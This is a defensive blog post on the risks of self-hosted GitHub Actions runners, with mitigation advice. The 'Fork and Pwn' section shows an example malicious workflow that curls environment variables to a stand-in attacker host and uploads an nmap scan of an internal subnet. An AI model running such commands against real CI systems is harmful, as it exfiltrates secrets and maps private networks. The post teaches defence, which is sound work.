Back to Blog

Self-Hosted Runners Are A Security Risk

Self-Hosted Runners Are A Security Risk

I spent weeks trying to figure out why our GitHub Actions bill was so high before I "solved" it by spinning up a few EC2 instances as self-hosted runners. It felt like a genius move—until I realized I’d effectively punched a hole in our firewall and handed the keys to anyone with a GitHub account. It took one "Wait, what if someone forks this?" moment to realize I had turned our CI/CD pipeline into a remote code execution (RCE) platform for the public.

If you’re running your own compute to save a few bucks or to access internal databases during a build, you need to understand where the "GitHub boundary" ends and where your liability begins.

The "Fork and Pwn" Scenario

The biggest misconception is that your CI/CD pipeline is a private sandbox. If your repository is public and you use the pull_request trigger, you are essentially telling the internet: "Send me your code, and I will execute it on my server."

By default, GitHub prevents some secrets from being passed to forks, but that doesn't matter if the attacker can just run arbitrary commands. Imagine a malicious actor opens a PR that modifies your .github/workflows/test.yml:

name: Unit Tests
on: [pull_request]

jobs:
  test:
    runs-on: self-hosted
    steps:
      - name: Malicious Script
        run: |
          # Exfiltrate AWS credentials or env vars
          curl -X POST -d "$(env)" https://attacker-webhook.com/steal
          
          # Scan your internal network from the inside
          nmap -sP 192.168.1.0/24 > network_map.txt
          curl -F "file=@network_map.txt" https://attacker-webhook.com/upload

Once they hit "Open Pull Request," your runner picks up the job. Since the runner is sitting inside your VPC or on your office network, it has a direct line of sight to your internal databases, Kubernetes APIs, or metadata services (like 169.254.169.254 on AWS).

Persistence is the Enemy

GitHub-hosted runners are ephemeral. When a job finishes, the VM is wiped. It’s gone.

Self-hosted runners, by default, are often "long-lived." If you just install the runner package on a standard Ubuntu box and let it sit there, it keeps the state from previous builds. This leads to two major problems:

1. Pollution: Build artifacts from a malicious PR can stick around and break or infect subsequent builds for your main branch.
2. Escape: If an attacker gains a shell on your runner, they can install a rootkit or a back door. Even after the GitHub Action says "Success," the attacker still has a footprint on your infrastructure.

The Internal Network Trap

We often use self-hosted runners because we need the build to talk to something private—maybe a staging database for integration tests or a private NPM registry.

This is exactly why they are so dangerous.

When you use a self-hosted runner, you are extending your "Trust Boundary" to GitHub's public interface. If that runner has an IAM role or a service account attached to it, any code executed in a PR can use those permissions to delete S3 buckets, create new admin users, or spin up crypto miners.

How to actually do this (if you have to)

If you absolutely must use self-hosted runners—maybe for specialized hardware (GPUs) or massive build requirements—don't just nohup ./run.sh & and call it a day.

1. Never use them for Public Repos

Just don't. Use GitHub-hosted runners for anything public. If you need more power, pay for the larger GitHub-hosted runners. The cost of a security breach is significantly higher than your monthly Action bill.

2. Use Ephemeral Runners

GitHub supports an "ephemeral" flag. This ensures the runner unregisters itself after one job. Better yet, use the Action Runner Controller (ARC) on Kubernetes. It spins up a fresh pod for every single job and kills it immediately after.

3. Isolated Networking

Your runner should be in a DMZ. It should not have access to your production database. If it needs to access internal services, use a strict firewall/Security Group that only allows traffic to specific IPs and ports.

4. Require Approval

In your GitHub repo settings, go to Actions -> General and ensure that "Require approval for all outside collaborators" is checked. This gives you a chance to inspect the .github/workflows folder before the code touches your hardware.

The Bottom Line

A self-hosted runner isn't just a "free VM." It’s a bridge between the wild west of the internet and your private infrastructure. If you aren't treating it with the same level of security rigor as your production web servers, you're just waiting for a "pwned" notification.

If you can't guarantee that every job starts on a fresh, isolated, and locked-down environment, stick to GitHub's hosted compute. It’s cheaper than a forensic audit.